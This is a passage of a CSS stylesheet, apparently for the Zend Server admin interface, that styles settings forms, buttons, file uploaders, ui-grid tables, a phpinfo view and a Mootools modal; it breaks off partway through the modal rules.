.settings-form-wrapper input[type="checkbox"] {
    font-size: 1em;
}

.btn.btn-blue {
    color: #fff !important;
}
fieldset[disabled] .btn[class*="btn-"],
.btn[class*="btn-"][disabled]{
    pointer-events: none;
}

.btn.btn-blue[disabled],
.input-disabled .btn.btn-blue,
.reset-fieldset[disabled] .btn.btn-blue{
    pointer-events: none;
    background: #97cde6;
    border: 1px solid #5daad7;
}

fieldset[disabled] .btn.btn-gray,
.btn.btn-gray[disabled] {
    background: #BEBEBE;
}

.btn.btn-gray {
    background: #757575;
    color: #fff !important;
}

.btn.btn-gray:not([disabled]):hover {
    background: #878787;
}


.btn.btn-default {
	background: #E3E3E3;
	color: #1b1b1b;
    border: 1px solid #d5d5d5;
}
fieldset[disabled] a.btn-default,
.btn.btn-default[disabled] {
	color: #acacac;
}
.btn.btn-default:not(disabled):hover{
	color: #016FAE;
}
.btn.btn-default:not([disabled]) i.fa{
    color: #44afe5;
    margin-right: 2px;
}
fieldset[disabled] .btn.btn-default:not([disabled]) i.fa {
    color: inherit;
}
.settings-form-wrapper input[type="button"],
.settings-form-wrapper input[type="submit"],
.btn.btn-blue {
    background: #43AFE0;
    color: #fff;
    border: 1px solid #31a5dd;
}

.settings-form-wrapper input[type="button"],
.settings-form-wrapper input[type="submit"] {
    border: 0px;
}
.settings-form-wrapper input[type="button"],
.settings-form-wrapper input[type="submit"],
.btn[class*="btn-"] {
    -webkit-transition: background-color 0.5s, color 0.3s;
    transition: background-color 0.5s, color 0.3s ;
    font-family: Arial;
    border-radius: 2px;
    padding: 5px 10px;
    text-decoration: none;
    margin: 2px;
}
a.btn[class*="btn-"] {
    display:inline-block;
}
.btn.btn-blue:enabled:not(.disabled):hover {
    color: #fff;
}

.settings-form-wrapper input[type="button"] {
    background: #808080;
}

.settings-form-wrapper input[type="submit"]:hover,
.settings-form-wrapper input[type="submit"]:active ,
.btn.btn-blue:not([disabled]):hover {
    background: #3893BD;
}

.settings-form-wrapper input[type="button"]:hover,
.settings-form-wrapper input[type="button"]:active {
    background: #909090;
}

.settings-form-wrapper input[type="button"].disabled,
.settings-form-wrapper input[type="button"]:disabled,
.settings-form-wrapper input[type="submit"].disabled,
.settings-form-wrapper input[type="submit"]:disabled {
    background: #bababa;
}

.settings-form-wrapper .internal-section {
	padding-left: 20px;
	padding-right: 40px;
}
.settings-form-wrapper .form-row {
    margin: 10px 0;
    padding-left: 45px;
	padding-right: 20px;
    /*overflow: auto; WHY? difuse element dimensions*/ 
}


.settings-form-wrapper .form-row.form-row-aligned { /* at the same line without padding */
	padding-left: 20px;
}

.settings-form-wrapper .bounded-element {
    display: inline-block;
}

.settings-form-wrapper .form-row.submit-button-row {
    margin-top: 30px;
}

.settings-form-wrapper label {
    /*width: 250px;*/
    vertical-align: top;
    font-size: 13px;
    color: #000;
    line-height: 27px;
	display: block;
}
.settings-form-wrapper fieldset[disabled="disabled"] label {
	color: #AAA;
}

.settings-form-wrapper td label {
    line-height: 19px;
}

.settings-form-wrapper .zform-label {
	display: inline-block;
    width: 250px;
    vertical-align: top;
}

.settings-form-wrapper .zform-label.zform-label-radio {
    vertical-align: top;
}

.settings-form-wrapper .zform-element {
    display: inline-block;
    vertical-align: top;
}
.settings-form-wrapper .zform-element.zform-element-suffix-wrapper {
    margin-left: 10px;
    border-left: 1px solid #AAA;
    padding-left: 10px;
}
.settings-form-wrapper .zform-element .zform-element-suffix-element {
    line-height: 26px;
    display: inline-block;
    vertical-align: top;
}

.settings-form-wrapper label.label-on-the-right {
    width: auto;
}

.settings-form-wrapper label.zform-radio-button-label {
    display: block;
}

.settings-form-wrapper table td {
    padding-left: 0;
}

.settings-form-wrapper input, 
.settings-form-wrapper select {
    display: inline-block;
    vertical-align: top;
    font-size: 1em;
    border: 1px solid #DDD;
    -moz-border-radius: 2px;
    -webkit-border-radius: 2px;
    -khtml-border-radius: 2px;
    border-radius: 2px;
}

.settings-form-wrapper input[type="radio"] {
    margin-top: 2px;
    margin-right: 5px;
    cursor: pointer;
}
.settings-form-wrapper input[type="radio"]:disabled {
     cursor: auto;
}
.settings-form-wrapper small {
    line-height: 28px;
}

.settings-form-wrapper .hosts_list-controls select {
    font-weight: normal;
    height: 20px;
    padding: 1px;
}

.settings-form-wrapper .hosts_list-controls button {
    height: 20px;
    padding: 1px 10px;
}

.settings-form-wrapper input[type="number"] {
    width: 80px;
}

.settings-form-wrapper input[type="email"],
.settings-form-wrapper input[type="url"] {
    width: 300px;
}

.settings-form-wrapper input[type="checkbox"] {
    width: auto;
    margin-right: 10px;
    text-align: left;
    vertical-align: middle;
}

.settings-form-wrapper textarea {
	box-sizing: border-box;
	font-size: 1em;
}

.settings-form-wrapper p,
.zend-form-table-description {
    display: block;
    font-size: 12px;
    color: #888;
    font-weight: normal;
    margin-top: 2px;
    max-width: 50%;
}

/* disable sub section design */
.settings-form-wrapper .zform-label-radio {
    display: block;
    margin-bottom: 10px;
}

.settings-form-wrapper .zform-element-radio {
    display: block;
}

.settings-form-wrapper .zform-wide {
    display: block;
    width: 100%;
}

.settings-form-wrapper [disabled="disabled"] {
    color: #888;
}

.zend-ip-ranges-directive input[type="number"] {
    width: 50px;
    margin-right: 5px;
}

.zend-ip-ranges-directive select {
    margin-left: 5px;
    margin-right: 5px;
}

.zend-ip-ranges-directive.ip-ranges-directive-invalid input[type="number"] {
    background: yellow;
}

.form-error {
    background: #FFEEE5 url('/ZendServer/images/error-message-icon.png') 7px center no-repeat;
    border: 1px solid #FF5400;
    color: #FF5400;
    padding: 8px 0;
    width: 50%;
    text-align: center;
    font-weight: bold;
    display: inline-block;
    margin: 10px auto;
    font-size: 1em;
    text-align: center;
    line-height: 1.5em;
}

p.section_description {
    padding-left: 20px;
}

p.section_description,
p.settings-form-explanation {
    width: 850px;
}

.page-description-content-wrapper .video-box {
    position: relative;
    display: inline-block;
    text-align: center;
    cursor: pointer;
}

.page-description-content-wrapper .video-box:hover::before {
    opacity: 1;
}

.page-description-content-wrapper .video-box::before {
    -webkit-transition: all 0.5s;
    opacity: 0.5;
    content: " ";
    background: url("/ZendServer/images/welcome/play-btn.png") no-repeat center;
    background-size: 50px;
    position: absolute;
    top: 50%;
    left: 50%;
    margin-left: -29px;
    margin-top: -40px;
    width: 58px;
    height: 58px;
}

a[onclick]:not(.disabled),
a.clickable:not(.disabled) {
    cursor: pointer;
}

[page="queues"] .settings-form-wrapper iframe {
    border: 0;
    width: 600px;
    height: 250px;
}

#main-menu a.no-menu-arrow i.glyphicons::before {
    content: "";
}

#mailWarning {
    font-size: 12px;
    color: #888;
    font-weight: normal;
    margin-top: 2px;
}

#mailWarning .warningIcon {
    margin-right: 5px;
}

/* main menu fast navigation */
input.fast_navigation:focus {
    box-shadow: inset 0px 0px 2px #E4E4E4;
}
input.fast_navigation {
    background: transparent;
    width: 100%;
    height: 2.5em;
    color: #EEE;
    padding: 0 20px 0 15px;
    box-sizing: border-box;
    border: none;
    outline: none;
    text-overflow: ellipsis;
    transition: box-shadow 0.3s;
}

.fast_navigation_match {
    background: yellow;
}

#fast-navigation-search-icon {
	position: absolute;
	z-index: 101; /* above the autocomplete suggestions box */
	
	color: #AAA;
	right: 10px;
	height: 35px;
	line-height: 35px;
}

#fast-navigation-search-icon-placeholder {
	position: absolute;
	z-index: 101; /* above the autocomplete suggestions box */
	
	color: #AAA;
	right: 13px;
	height: 35px;
	line-height: 35px;
	font-size: 1.2em;
}

#fast-navigation-search-icon-placeholder.fn-placeholder-with-background {
	background: #585858;
}

i.glyphicons {
    vertical-align: middle;
}

.fa-spin-custom, .glyphicons-spin {
    -webkit-animation: spin 1000ms infinite linear;
    animation: spin 1000ms infinite linear;
}
.legend_item .glyphicons {
    padding-left: 5px;
}


/* some general styles */

.uploader {
    width: 450px;
}

.uploader form {
}

.uploader .fieldset legend {
    color: #666;
    margin: 0;
    font-size: 1.5em;
    font-weight: normal;
    padding-bottom: 20px;
}

.uploader .formRow {
    overflow: auto;
    max-width: 100%;
}

.uploader .formRow label {
    padding: 4px;
    margin: 0 3px 0 0;
    border-right: 1px #bcbcbc solid;
}


/* Drag & Drop file uploading */

.uploader .droppable {
    border: 1px dashed #96a5ac;
    border-radius: 3px;
    color: #b6c1c6;
    font-size: 12px;
    padding: 20px;
    margin: 10px 0;
    clear: both;
    text-align: center;
}

.uploader .droppable.dragover {
    background: rgb(237, 237, 237);
}

.uploader progress {
    width: 91%;
    float: left;
    margin-top: 10px;
}

.uploader .precent {
    float: right;
    margin-top: 10px;
}

.uploader .droppable.hover {
    color: #3b5866;
    border-color: #3b5866;
}

.uploader .uploadList {
    margin: 0;
    padding: 0;
    list-style: none;
}

.uploader .uploadItem {
    overflow: hidden;
    border-bottom: #BCBCBC 1px solid;
    margin: 0 20px;
    padding: 3px;
}

.uploader .uploadItem span {
    overflow: hidden;
    width: 150px;
    float: left;
    display: block;
}

.uploader a.addInputRow,
.uploader a.delInputRow,
.uploader .uploadItem a {
    display: inline-block;
	/* background: url(add.png) no-repeat; */
    height: 16px;
    width: 16px;
    text-indent: -999px;
}

.uploader .uploadItem a {
    float: left;
    display: block;
    padding-left: 20px;
	/* background-image: url(delete.png); */
}

.uploader a.delInputRow {
    background-image: url(delete.png);
}

.uploader .progress {
    margin: 5px 0;
    height: 15px;
    border-radius: 3px;
    background: #545A74;
}

.uploadList {
    display: none;
}

.uploader #url {
    width: 100%;
}

#selective-access-box input[type="number"] {
    width: 40px;
    margin-right: 5px;
}

#selective-access-box label {
    margin-right: 15px;
}

.zs-uploaded-file-wrapper {
    vertical-align:middle;
    width: 250px;
}

.zs-uploaded-file {
    cursor: default;
    vertical-align:middle;
    border: 1px solid;
    padding: 3px;
    border-radius: 5px;
    max-width: 250px;
    text-overflow: ellipsis;
    white-space: nowrap;
    overflow: hidden;
    display: inline-block;
    border-color: #c4dfe8;
    background: #E4F5FF;
}

span.zs-uploaded-file i.fa {
    padding: 0px 2px;
    color: #828282;
}

.join-delimiter:not(last-child)::after {
    content: ", ";
}

.join-delimiter:last-child::after {
    content: "";
}

#bread i.glyphicons.glyphicons-info-sign {
    margin-top: 6px;
}
 /* Large Devices, Wide Screens */
@media only screen and (max-width : 1330px) {
    #main-apps-wrapper {
        padding-top: 30px;
    }

    #main-apps-status-actions {
        top: -30px;
    }
}

.zend-checkbox-slider {
    display: inline-block;
    overflow: hidden;
    border: 1px solid #DDD;
}

.zend-checkbox-slider-on,
.zend-checkbox-slider-off,
.zend-checkbox-slider-blank {
    vertical-align: top;
	/*display: inline-block;*/
    display: block;
    float: left;
    width: 31px;
    height: 20px;
    line-height: 20px;
    text-align: center;
    color: #FFF;
}

.zend-checkbox-slider[disabled] { 
    cursor:default;
}
.zend-checkbox-slider[disabled] .zend-checkbox-slider-on {
    background: #666666;
}

.zend-checkbox-slider-on {
    background: #48A9C5;
}

.zend-checkbox-slider-off {
    background: #666666;
}

.zend-checkbox-slider-blank {
    background: #EEE;
}

.giant-text {
    font-size: 30px;
    font-weight: bold;
}
.centered-text {
    text-align: center;
}

/* 500 ERROR PAGE */
#internal-error-page h2 {
    font-size: 16px;
}

#internal-error-page h3 {
    background: #44AFE5;
    padding: 5px;
}

#internal-error-page .more-information {
    margin: 15px 0;
}

#internal-error-page .more-information pre {
    padding: 5px;
}

#internal-error-page .more-information footer {
    box-sizing: content-box;
    min-height: 15px;
    background: gray;
    padding: 3px 5px;
}
#internal-error-page footer a {
    color: white;
}
/* until we will fix our fieldset in all css files which is now wrong!! */
fieldset.fix {
    width:auto;
    width:initial;
    height:auto;
    height:initial;
    border:0;
    margin:0;
    padding:0;
    position:static;
    position:initial;
    background:white;
    background:initial;
}

fieldset[disabled="disabled"] .zend-ip-ranges-directive a {
    pointer-events: none;
}

.breadcrumbs-message, .breadcrumbs-message-left {
    float: right;
    padding: 8px;
    color: #088FD0;
    margin-top: 1px;
}
.breadcrumbs-message-left {
	float: left;
	padding-top: 10px;
}
.top-bottom-margined-text {
    margin: 10px 0;
}

#notification-msg-messages {
    overflow: auto;
    max-height: 579px;
}

#notification-messages .dismiss:hover {
    opacity: 1;
}

.zs-file-upload-box .dragover input {
    display: none;
}
.zs-file-upload-box .drop-area {
    display: none;
}
.zs-file-upload-box .dragover .drop-area {
    display: inline-block;
    padding: 50px;
    border: 1px dashed;
    color: #44AFE3;
    border-radius: 5px;
}

[page="import-export"] .settings-form-wrapper .settings-wrapper {
    padding-left:0;
}
[page="import-export"] .zs-uploaded-file-wrapper {
    width: auto;
    font-size: 12px;
    color: #888;
}
.input-disabled input{
    pointer-events: none;
    background: #EBEBE4;
}
.reset-fieldset {
    width: auto;
    border: 0;
    position: static;
    background: inherit;
    vertical-align: middle;
	vertical-align: initial;
    margin: 0;
	margin: initial;
    padding: 0;
    padding: initial;
}
.reset-fieldset h1,
.reset-fieldset h2,
.reset-fieldset h3,
.reset-fieldset h4,
.reset-fieldset h5{
    font-size:initial;
    padding: initial;
    margin: initial;
}
.valign-middle {
    vertical-align: middle;
}


/* PHP INFO CSS */
#php-info {background-color: #fff; color: #222; font-family: sans-serif;}
#php-info pre {margin: 0; font-family: monospace;}
#php-info a:link {color: #009; text-decoration: none; background-color: #fff;}
#php-info a:hover {text-decoration: underline;}
#php-info table {border-collapse: collapse; border: 0; width: 934px; box-shadow: 1px 2px 3px #ccc;}
#php-info .center {text-align: center;}
#php-info .center table {margin: 1em auto; text-align: left;}
#php-info .center th {text-align: center !important;}
#php-info td,
#php-info th {border: 1px solid #666; font-size: 12px; vertical-align: baseline; padding: 4px 5px;}
#php-info h1 {font-size: 150%;}
#php-info h2 {font-size: 125%;}
#php-info .p {text-align: left;}
#php-info .e {background-color: #ccf; width: 300px; font-weight: bold;}
#php-info .h {background-color: #99c; font-weight: bold;}
#php-info .v {background-color: #ddd; max-width: 300px; overflow-x: auto; word-wrap: break-word;}
#php-info .v i {color: #999;}
#php-info img {float: right; border: 0;}
#php-info hr {width: 934px; background-color: #ccc; border: 0; height: 1px;}
#php-info table {	width: 100%; }
#php-info .h { background: #e4e4e4; }
#php-info h1 { font-size: 16px; color: #888888; margin-top: 10px; margin-bottom: 20px;}
#php-info h2,#php-info h2 a { font-size: 14px; text-align: left; color: #888888; margin-left: 3px;}
#php-info .e,
#php-info .v,
#php-info table:first-child .h { background: transparent; word-break: break-word;}
#php-info tr.h ~ tr td { background: #f2f6f7; }
#php-info .e { color: #888888 }
#php-info td { border: 0px; border-bottom: 1px solid #d3d3d3; word-wrap: break-word; overflow-wrap: break-word; }
#php-info td,
#php-info th { padding-left: 10px; }
#php-info th,
#php-info .center th { border: 0px; text-align: left !important; font-weight: normal; color: #888888; }
#php-info .subHeader { color: #888888; font-size: 16px; margin-top: -11px; font-weight: normal;}
/* EOF PHP INFO */

#scheduling-rule-form input.ng-invalid-url {
    border: 1px solid #ce0000;
}

#schedule-stack input, 
#scheduling-rule-form input{
    transition: border 0.3s;
}
#schedule-stack input.ng-invalid {border: 1px solid #d70000;}
.valign-middle {
    vertical-align:middle;
}
.auto-height {
    height: auto !important;
}
.auto-width {
    width: auto !important;
}
.text-right {
    text-align: right;
}
.text-left {
    text-align: left;
}
.text-center {
    text-align: center;
}
.text-uppercase {
	text-transform: uppercase;
}
.inline-block {
    display: inline-block;
}

.alert {
    padding: 15px;
    margin-bottom: 20px;
    border: 1px solid transparent;
    border-radius: 4px;
}

.alert-danger {
    color: #a94442;
    background-color: #f2dede;
    border-color: #ebccd1;
}
.alert-warning {
    color: #8a6d3b;
    background-color: #fcf8e3;
    border-color: #faebcc;
}
.alert-info {
    color: #31708f;
    background-color: #d9edf7;
    border-color: #bce8f1;
}
.alert-success {
    color: #3c763d;
    background-color: #dff0d8;
    border-color: #d6e9c6;
}
.zde-menu {
	position: absolute;
	z-index: 10;
	padding: 20px;
	background: rgb(255, 255, 255);
	border: 1px solid #CCC;
	margin-left: -100px;
}
.text-capitalize {
	text-transform: capitalize;
}

fieldset[disabled] .btn.btn-default:not([disabled]) i.fa {
    color: inherit;
}
 
#zray-live-inject-frame{
    width: 100%;
}
.job-error-line{
    max-width: 100%;
    overflow: auto;
    padding-bottom: 20px;
    margin-left: 0px !important;
    padding-left: 20px;  
}

.underline {
text-decoration-line: underline;
}

.directives-advanced-checkbox-label{
    height: 50px;
    vertical-align: super;
    margin-right: 10px;
    color: #2774A0;
}
.directive .bread-info-btn{
    margin-left: -30px; 
}

.directives-advanced-checkbox-warp{
    float: right;
    background: white !important;
    border: none !important;
}
.suggestion-icon{
    color: white;
    background: #088fd0;
    border-radius: 112px;
    height: 16px;
    width: 16px;
    margin: 6px;
    font-size: 10px;
}
.suggestion-icon:before{
    padding: 3px 3px !important; 
}
.more-suggestions-box{
    display: block;
    float: left;
    /* margin-top: -15px; */
    margin-bottom: 30px;
}

.time_by_slider .zend-checkbox-slider-on,.time_by_slider .zend-checkbox-slider-off,
.time_by_slider .zend-checkbox-slider-blank{
    width: 70px;
    height: 24px;
    line-height: 23px;
}

#toastContainer:hover{
   opacity: 1 !important; 
   visibility: visible !important;
}

input.required-input,input.ng-dirty.ng-invalid {
    border: 1px solid #C11;
}
.shell-section{
    width: calc(100% - 50px);
    height: 100%;
    top: 0px;
    left: 0px;
    background: #202020;
    font-size: 11px;
    font-family: monospace;
    color: #DFDFDF;
    padding: 20px;
    box-sizing: border-box;
}
.copy-to-clipboard-jobs{
    background: white;
    padding-left: 10px;
}
[disabled="disabled"].ng-invalid {
    border: 1px solid rgb(235, 235, 228);
}
.help_menu_wrap{
    position: fixed;
    top: 0px;
    left: 0px;
    width: 100%;
    height: 100%;
    cursor: auto !important;
}

.app_message:first-letter{
    text-transform: capitalize;
}
.isConfirmLicebseRestartNote{
    text-align: left;
    overflow: hidden;
    display: block;
    width: 100%;
    margin-bottom: 10px; 
}
.isConfirmLicebseRestartLabel{
    width: 90%;
    float: left;
    display: block;
    margin-left: 10px;
}
.isConfirmLicebseRestartCheckbox{
    margin-top: 3px;
    float: left;
    width: 20px !important;
}
.zend-form-table-license input.ng-invalid{
    border: 1px solid #ccc;
}
.short-note-advanced-directive{
    margin: 15px;
}
.jq-pulse-avg-limit-display strong,.jq-pulse-avg-limit-display p{
    color: #d61219 !important;
}
.restart-dialog.z-confirm-box-wrapper .ngdialog-content {
    width: 424px !important;
}
.restart-dialog .z-modal-body {
    font-size: 13px;
}
.restart-floating-tip-wrapper{
    margin: 0px;
    padding: 1px 0px 0px;
    position: fixed;
    opacity: 1;
    top: 37px;
    right: 4px;
    width: 368px;
}
.restart-floating-tip-wrapper .floating-tip-triangle{
    margin: 0px 0px 0px 233px; 
    padding: 0px; 
    border-color: rgb(163, 188, 199) transparent; 
    border-width: 0px 10px 10px; 
    border-style: solid; width: 0px; 
    height: 0px;
}
.restart-floating-tip-wrapper .restart-tooltip{
    cursor: pointer;
}
.restart-dialog .z-modal-body{
    font-size: 14px;
}
html.ngdialog-open, body.ngdialog-open {
  overflow: initial !important;
}
.ui-grid[ui-grid-resize-zs] .ui-grid-viewport {
    overflow-y: auto !important;
}
.setting-general-table{
    max-width: 700px;
}
.help-menu{
    position: fixed;
    right: 10px;
    /* background: gray; */
    width: 140px;
    padding: 3px;
    margin-top: 10px;
    background-color: #fff;
    border: 1px solid #a3bcc7;
    color: #000;
}
.help-menu-wrap{
    
}
.about-info-list {
    color: black;
    font-weight: normal;
    font-size: 13px;
}
.about-info-list ul{
    
}
.about-info-list li{
    
}
.help-menu li:hover{
    background: rgba(0, 0, 0, 0.06) !important;
}
.about-info-title {
    /* text-align: center; */
    font-weight: normal;
    text-transform: capitalize;
    border-bottom: 1px solid black;
    padding-bottom: 10px;
    margin-top: 13px;
    padding-left: 10px;
    font-size: 23px;
    color: black;
}
.help-menu .floating-tip-triangle{
    position: absolute;
    top: -6px;
    right: 15px;
}
.help-menu ul{
    
}
.help-menu li{
    width: 100%;
    background: none !important;
}
.help-menu li a{
    color: #000 !important;
    /* font-weight: bold; */
    font-size: 11px !important;
    height: 20px !important;
    padding-top: 10px;
    padding-left: 10px;
    line-height: 10px !important;
    /* margin-top: 10px !important; */   
}
.drag-selector{
    color: #9e9e9e;
    padding-top: 5px;
    cursor: move;
    /*background-image: url(/images/drag-icon.svg);*/
}
.drag-selector-wating{
    color: #9e9e9e;
    margin-top: 8px;
    /*background-image: url(/images/drag-icon.svg);*/
}

.grabbable,.drag-selector {
    cursor: move; /* fallback if grab cursor is unsupported */
    cursor: grab;
    cursor: -moz-grab;
    cursor: -webkit-grab;
}
.drag-selector svg{
    height: 20px;
    fill: #969696;
}
.drag-selector:hover svg{
    fill: #84cbee;
}
.ui-draggable-dragging {
    box-shadow: 1px 4px 5px 0px rgba(0, 0, 0, 0.129);
}
 /* (Optional) Apply a "closed-hand" cursor during drag operation. */
.grabbable:active,.drag-selector:active { 
    cursor: grabbing;
    cursor: -moz-grabbing;
    cursor: -webkit-grabbing;
}

/* Put your css in here */

.drop-area {
  width: 100%;
  height: 200px;
  border: 2px solid silver;
}

.drop-area p {
  width: 100%;
  text-align: center;
  font-size: 20px;
}

.ui-grid-draggable-row {
    height: 30px;
}

.ui-grid-draggable-row-over {
    position: relative;
    color: #AAA;
}

.ui-grid-draggable-row-over:before {
    content: "";
    display: block;
    position: absolute;
    left: 0;
    width: 100%;
    border-bottom: 2px dashed #AAA;
}

.ui-grid-draggable-row-over--above:before {
    top: 0;
}

.ui-grid-draggable-row-over--below:before {
    bottom: 0;
}
.ui-state-highlight{
    background: rgba(210, 193, 75, 0.078);
    border:1px solid rgba(255, 255, 255, 0.168);
}
.ruleList .ui-grid-cell-contents {
	padding: 3px;
}
.newList .ui-grid-cell-contents {
	padding: 3px;
}
.ui-sortable-helper .drag-selector{
    cursor: grabbing !important;
    cursor: -moz-grabbing !important;
    cursor: -webkit-grabbing !important;
}
.zend-form-table-description.wide-desc{
    max-width: 85%;
}
.static-url-td{
    padding-top: 8px;
}
.minicolors-theme-bootstrap .minicolors-swatch-color {
    border-radius: inherit;
    padding: 0 3px;
    width: auto;
    /* height: 25px; */
    border: 1px solid #ccc;
    max-width: 147px;
}
.minicolors {
    position: relative;
    float: left;
    width: 158px;
}
input:disabled, textarea:disabled {
    color: rgb(84, 84, 84);
}
textarea:disabled, input:disabled
{
    background-color: rgb(235, 235, 228);
}
.ruleList.ui-grid .ui-grid-canvas > .ui-grid-row:nth-last-of-type(-n+2) {
    display: none !important; 
}

.manu-icon{
    position: absolute;
    left: 13px;
    margin-top: 7px;
}

.z-grpah-headline{
    box-sizing: border-box;
    float: left;
    height: 30px;
    line-height: 30px;
    margin: 0;
    padding-right: 16px;
    font-size: 1.2em;
    /* border-bottom: 1px solid black; */
    width: 100%;
}
.header-php-version-label{
    display: inline;
    margin: 0px 0 0 -23px;
    vertical-align: super;
    font-size: 12px;
    position: relative;
    bottom: 2px;
    text-decoration-line: none !important;
}
.php_version_box{
    margin-bottom: 10px;
    border-bottom: 1px solid #d0d0d0;
    padding-bottom: 10px;
}
.php_version_label{
    
}
.php_version_header{
    font-size: 15px;
    margin-bottom: 15px;
}
.zdb-hidden{
    display:none !important;
}
/* UI GRID CSS */
.expand-div {
    -webkit-transition: 0.3s linear all;
    -moz-transition: 0.3s linear all;
    -o-transition: 0.3s linear all;
    transition: 0.3s linear all;
    opacity: 0;
}

.new-expand-div {
    opacity: 1;
}

.expand-div.ng-leave-active {
    opacity: 0;
}

@-moz-document url-prefix() {
    .ui-grid-row {
        width: 101%;
    }
}
.sub-title-design{
    font-size: 18px;
    color: #2774A0;
    font-weight: normal;
    margin-bottom: 18px;
}
.sub-title-design-bread{
    
}
.sub-title-design-bread h2{
    font-size: 18px;
    color: #2774A0;
    font-weight: normal;
    margin-bottom: 18px;
}

.sub-title-design-bread-blue {
    height: 41px;
    width: 100%;
    background: #2774A0;
    color: #7d8f97;
    font-size: 14px;
    z-index: 100;
}

.sub-title-design-bread-blue h2 {
    float: left;
    margin: 10px 8px 10px 13px;
    font-size: 20px;
    font-weight: normal;
    color: #fff;
}

.ui-grid-table{
   border : 1px #d4d4d4 solid;
   border-top: 2px solid #0171A1;
   background: #fff;
   font-weight: normal; 
}
.ui-grid-table td{
    padding: 4px;
    overflow: hidden;
    background-color: inherit;
    border-right: 1px solid;
    border-color: #d4d4d4;
    box-sizing: border-box;
}

.ui-grid-table .center{
    text-align: center;
    padding-top: 11px;
}
a.link-design-1{
 color: #000000;
}
.ui-grid-table th{
    padding: 10px;
    overflow: hidden;
    background-color: inherit;
    border-right: 1px solid;
    border-color: #d4d4d4;
    box-sizing: border-box;
    font-weight: normal;
}
.ui-grid-table tr{
    border-bottom: 1px solid;
    border-color: #d4d4d4;
    
}
.ui-grid-table tr:nth-child(even), .ui-grid-table tr:nth-child(even) {
    background: #EEE;
}

.ui-grid-cell-contents-center {
    text-align: center;
}

.ui-grid-cell-contents-icons img, .ui-grid-cell-contents-icons i {
	vertical-align: middle;
}

.ui-grid-cell-contents-left {
    text-align: left;
	padding-left: 15px;
}

.ui-grid-cell-contents-right {
    text-align: right;
}

.ui-grid-cell-contents .btn {
    display: inline-block;
    vertical-align: top;
    border: 1px solid #999999;
    color: #44afe5;
    text-align: center;
    padding: 0px 8px;
    border-radius: 1px;
    background: #fff;
    transition: 0.2s all;
    opacity: 0.8;
}

.ui-grid-cell-contents .btn .glyphicons:before {
    padding: 4px 0;
}

.ui-grid-cell-contents .btn:hover:not([disabled]) {
    background: #E4E4E4;
    opacity: 1;
}

.ui-grid-cell-contents .btn[disabled] {
    pointer-events: none;
    opacity: 0.5;
    border-color: gray;
    color: gray;
}
.ui-grid-cell-contents.ui-grid-cell-actions {
    padding:3px;
}
/*.ui-grid-canvas {
    border: 1px solid #dddddd;
}
.ui-grid {
    border:0;
}*/
.ui-grid-top-panel {
    border-top: 2px solid #0171A1;
    background: #fff;
    font-weight: normal;
}

.ui-grid-row:hover>[ui-grid-row]>.ui-grid-cell,
.ui-grid-row .ui-grid-cell.expanded,
.ui-grid-row .ui-grid-sub-section-row .ui-grid-sub-row .ui-grid-cell.expanded {
    background: #e2e2e2;
}

.ui-grid-header-cell {
    padding: 4px;
}

.ui-grid-cell,
[ui-grid-expandable-row] {
    border-bottom: 1px solid #dddddd;
}

.ui-grid-pager-panel {
    background: #efefef;
    border-top: 1px solid #E6E6E6;
}

.ui-grid[ui-grid-pagination] {
    padding-bottom: 33px;
}

.ui-grid.auto-height, .ui-grid.auto-height .ui-grid-viewport {
    height: auto !important;
}

[ui-grid-expandable-row] {
    background: #fff;
    height: auto !important;
}

.loading-expanded {
    text-align: center;
    font-size: 28px;
}

.loading-expanded span {
    padding-top: 50px;
    display: block;
}

.ui-grid-empty {
    padding: 8px;
    margin-top: -20px;
}

.ui-grid-cell-indent {
    margin-left: 43px;
}

.ui-grid-sub-section-row:nth-child(odd) .ui-grid-sub-row .ui-grid-cell {
    background-color: #fdfdfd;
}

.ui-grid-sub-section-row:nth-child(even) .ui-grid-sub-row .ui-grid-cell {
    background-color: #f3f3f3;
}

.ui-grid-sub-row {
    height: 30px;
}

.ui-grid-header-cell input[type="checkbox"],
.ui-grid .ui-grid-cell input[type="checkbox"] {
    margin: 0px auto;
}

.ui-grid-cell-checkbox {
    padding: 0;
    margin-top: 6px;
}
/* WHEN WE HAVE TREE + EXPAND ROW, SEE LABRARIES PAGE */
#libraries-ui-grid .expandableRow {
    margin: 0 !important;
}

#libraries-ui-grid .ui-grid-tree-header-row {
  /* for some reason ui-grid has important tag in css, we must important also to override it */
    font-weight: normal !important;
}

.ui-grid .ui-grid-hover-background:hover {
    background: #f7f7f7;
}


.ui-grid.sub-ui-grid .ui-grid-top-panel {
    display:none;
}
.ui-grid.sub-ui-grid {
    border-left: 0;
    border-right: 0;
    border-bottom: 0;
}
.ui-grid[ui-grid-resize-zs] .ui-grid-viewport {
    padding-left: 1px;
}
.ui-grid[ui-grid-resize-zs] .ui-grid-cell:last-child {
    padding-right:20px;
}
.ui-grid[ui-grid-resize-zs] .ui-grid-row:last-child {
    border-bottom: 1px solid #dddddd;
}

.ui-grid-cell-contents-36 {
	line-height: 22px;
}
.ui-grid-header-cell .sortable[aria-sort="descending"],
.ui-grid-header-cell .sortable[aria-sort="ascending"] {
    font-weight: bold;
}
.myclass {
	color: red;
}

.serverStatusSpin {
    margin-left: 11px;
}

/*
* Mootools Simple Modal
* Version 1.0
* Copyright (c) 2011 Marco Dell'Anna - http://www.plasm.it
*
* Markup Modal
* <div class="simple-modal" id="simple-modal">
*   <div class="simple-modal-header">
*     <a class="close" href="#">×</a>
*     <h1>SimpleModal Title</h1>
*   </div>
*   <div class="simple-modal-body">
*     <div class="contents">
*       <p>
*         Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
*       </p>
*     </div>
*   </div>
*   <div class="simple-modal-footer">
*     <a class="btn primary" href="#">Primary</a>
*     <a class="btn secondary" href="#">Secondary</a>
*   </div>
* </div>
*/
/* Vars */
/* Overlay style */
#simple-modal-overlay {
  position: fixed ;
  display: block;
  z-index: 99998;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background-color: #000000;
  background-position: center center;
  background-repeat: no-repeat;
  background: -webkit-gradient(radial, center center, 0, center center, 460, from(#ffffff), to(#291a49));
  background: -webkit-radial-gradient(circle, #ffffff, #291a49);
  background: -moz-radial-gradient(circle, #ffffff, #291a49);
  background: -ms-radial-gradient(circle, #ffffff, #291a49);
}
.simple-modal {
  /* Style rewrite */

